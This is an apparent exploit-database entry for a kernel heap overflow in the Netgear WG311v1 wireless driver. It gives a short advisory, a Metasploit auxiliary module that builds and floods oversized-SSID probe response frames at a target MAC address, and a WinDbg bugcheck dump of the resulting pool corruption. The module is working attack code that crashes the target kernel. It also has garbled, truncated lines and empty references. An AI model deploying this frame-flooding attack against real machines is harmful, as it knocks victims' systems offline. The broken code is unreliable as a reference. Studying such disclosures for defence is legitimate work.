Netgear WG311v1 Wireless Driver - SSID Heap Buffer Overflow








NetGear WG311v1 Wireless devices are prone to a heap-based buffer-overflow vulnerability because the driver fails to properly bounds-check user-supplied data before copying it into an insufficiently sized memory buffer. 

Exploiting this issue allows attackers to execute arbitrary machine code in the context of the kernel hosting the vulnerable driver. Failed attempts will likely crash the kernel, resulting in denial-of-service conditions.

Although the WG311v1ND5.SYS driver is used primarily on Microsoft Windows, users of Linux and BSD machines running the 'ndiswrapper' tool should determine if they are using a vulnerable instance of the driver.

Version of the WG311v1ND5.SYS driver is vulnerable to this issue; other versions may also be affected.

require 'msf/core'

module Msf

class Auxiliary::Dos::Wireless::Netgear_WG311_SSID < Msf::Auxiliary

	include Exploit::Lorcon

	def initialize(info = {})
			'Name'           => 'NetGear WG311v1 Wireless Driver Long SSID Overflow',
			'Description'    => %q{
				This module exploits a buffer overflow in the NetGear WG311v1 wireless device
				driver under Windows XP and 2000. A kernel-mode heap overflow occurs
				when malformed probe response frame is received that contains a long SSID field
				This DoS was tested with version of the WG311ND5.SYS driver and a 
				NetGear WG311v1 PCI card. A remote code execution module is also in development.

				This module depends on the Lorcon library and only works on the Linux platform
				with a supported wireless card. Please see the Ruby Lorcon documentation 
				(external/ruby-lorcon/README) for more information.
			'Author'         => [ 'Laurent Butti <0x9090 [at]>' ], # initial discovery and metasploit module
			'License'        => MSF_LICENSE,
			'References'     =>
					['URL', ''],				
					['URL', ''],
			['RUNTIME', [ true, "The number of seconds to run the attack", 60]),'ADDR_DST', [ true,  "The MAC address of the target system"])
			], self.class)					

	def run


        stime =
        rtime = datastore['RUNTIME'].to_i
        count = 0

        print_status("Creating malicious probe response frame...")

        frame = create_probe_response()

        print_status("Sending malicious probe response frames for #{datastore['RUNTIME']} seconds...")

        while (stime + rtime >
            select(nil, nil, nil, 0.10) if (count % 100 == 0)
            count += 1

        print_status("Completed sending #{count} probe responses.")

	def create_probe_response
		bssid    = Rex::Text.rand_text(6)
		seq      = [rand(255)].pack('n')
		frame = 
			"\x50" +                      # type/subtype
			"\x00" +                      # flags
			"\x00\x00" +                  # duration  
			eton(datastore['ADDR_DST']) + # dst
			bssid +                       # src
			bssid +                       # bssid
			seq   +                       # seq  
			Rex::Text.rand_text(8) +      # timestamp value
			"\x64\x00" + 	              # beacon interval
			"\x01\x00" +	              # capabilities

			# SSID IE overflow
			"\x00" + "\xff" + ("\x41" * 255) +

			# supported rates IE
			"\x01" + "\x08" + "\x02\x04\x0b\x16\x0c\x18\x30\x48" +

			# channel IE
			"\x03" + "\x01" + channel.chr
		return frame


*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *

The pool is already corrupt at the time of the current request.
This may or may not be due to the caller.
The internal pool links must be walked to figure out a possible cause of
the problem, and then special pool applied to the suspect tags or the driver
verifier to a suspect driver.
Arg1: 00000020, a pool block header size is corrupt.
Arg2: 81cae7b0, The pool entry we were looking for within the page.
Arg3: 81cae8c8, The next pool entry.
Arg4: 0a23002b, (reserved)